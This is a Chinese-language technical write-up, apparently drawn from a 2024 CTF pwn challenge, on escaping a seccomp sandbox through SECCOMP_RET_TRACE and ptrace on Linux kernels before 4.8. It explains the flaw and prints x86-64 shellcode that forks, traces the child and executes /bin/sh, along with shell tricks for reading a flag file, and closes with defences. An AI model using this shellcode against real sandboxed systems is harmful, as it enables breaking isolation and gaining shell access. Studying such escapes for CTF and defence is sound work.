return trace情况的沙盒逃逸(linux内核低于4.8版本)
字数 1319 2025-08-22 12:22:48
Linux内核SECCOMP_RET_TRACE沙盒逃逸技术分析(内核版本<4.8)
一、技术背景
SECCOMP_RET_TRACE是seccomp过滤器返回的一种动作值,主要用于在特定系统调用被触发时通知基于ptrace(2)的追踪器(tracer)处理该系统调用。在Linux内核版本4.8之前,存在一个安全漏洞允许恶意追踪器利用SECCOMP_RET_TRACE绕过seccomp过滤器限制。
二、核心原理
1. SECCOMP_RET_TRACE工作机制
-
过滤器配置:进程设置seccomp过滤器,指定哪些系统调用应返回SECCOMP_RET_TRACE
-
系统调用触发:
- 受限进程执行被标记为SECCOMP_RET_TRACE的系统调用
- 内核检查是否有通过ptrace附加的追踪器
- 如果存在追踪器且已设置PTRACE_O_TRACESECCOMP选项,发送PTRACE_EVENT_SECCOMP事件
- 追踪器可通过PTRACE_GETEVENTMSG获取SECCOMP_RET_DATA数据
- 无追踪器时,系统调用失败并返回ENOSYS
-
追踪器处理选项:
- 跳过系统调用:将系统调用号改为-1
- 修改系统调用:改为另一个合法系统调用
- 更改返回值:指定跳过时的返回值
2. 内核版本差异
- <4.8版本:seccomp检查在追踪器通知后不会再次执行,导致安全绕过
- ≥4.8版本:修复此问题,seccomp检查会在追踪器处理后再次执行
三、逃逸技术实现
1. 基本流程
- 创建子进程:通过fork()创建子进程
- 附加追踪器:父进程通过ptrace(PTRACE_ATTACH)附加到子进程
- 拦截系统调用:
- 子进程执行被限制的系统调用
- 内核通知父进程(追踪器)
- 修改系统调用:
- 父进程通过ptrace修改系统调用号或参数
- 恢复执行:父进程通过PTRACE_CONT恢复子进程执行
2. 关键技术点
-
ptrace选项设置:
ptrace(PTRACE_SETOPTIONS, pid, 0, PTRACE_O_TRACESECCOMP);必须设置此选项才能接收SECCOMP事件
-
事件处理循环:
- 使用wait4()等待子进程状态变化
- 检查PTRACE_EVENT_SECCOMP事件
- 通过PTRACE_GETEVENTMSG获取附加信息
-
系统调用修改:
- 使用PTRACE_SYSCALL拦截系统调用
- 通过PTRACE_POKEUSER修改寄存器值
四、实战示例分析
1. Shellcode实现
_start:
/* Step 1: fork */
mov rax, 57 /* fork syscall */
syscall
test rax, rax
js _exit /* fork失败退出 */
cmp rax, 0
je child_process /* 子进程跳转 */
parent_process:
mov r8, rax /* 保存子进程PID */
mov rdi, 0x10 /* PTRACE_ATTACH */
mov rsi, r8
xor rdx, rdx
xor r10, r10
mov rax, 101 /* ptrace */
syscall
monitor_child:
/* 等待子进程停止 */
mov rdi, r8
mov rsi, rsp
xor rdx, rdx
xor r10, r10
mov rax, 61 /* wait4 */
syscall
/* 设置ptrace选项 */
mov rdi, 0x4200 /* PTRACE_SETOPTIONS */
mov rsi, r8
xor rdx, rdx
mov r10, 0x80 /* PTRACE_O_TRACESECCOMP */
mov rax, 101
syscall
/* 继续执行子进程 */
mov rdi, 0x7 /* PTRACE_CONT */
mov rsi, r8
xor rdx, rdx
xor r10, r10
mov rax, 101
syscall
jmp monitor_child
child_process:
/* 子进程执行受限操作 */
push 1
dec byte ptr [rsp]
push 5
mov rdi, rsp
xor esi, esi
mov rax, 35 /* nanosleep */
syscall
/* 尝试执行受限的execve */
mov rax, 0x{order2} /* "/bin/sh"字符串地址 */
push rax
mov rax, 0x{order1}
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 59 /* execve */
syscall
_exit:
mov rax, 60
xor rdi, rdi
syscall
2. 绕过限制后的命令执行
由于原始沙盒限制仍然存在,需要使用替代命令:
- 代替
ls:echo * - 读取文件:
while IFS= read -r line; do echo "$line"; done < flag
五、防御措施
- 升级内核:确保使用≥4.8版本的内核
- 限制ptrace:
- 设置
/proc/sys/kernel/yama/ptrace_scope为1或更高 - 使用seccomp禁止ptrace相关系统调用
- 设置
- 深度防御:结合其他安全机制如namespace、capability等
六、参考文献
- Linux内核源码(<4.8版本)
- seccomp和ptrace手册页
- 羊城杯2024 pwn writeup (Qanux's space)
- 先知社区相关技术讨论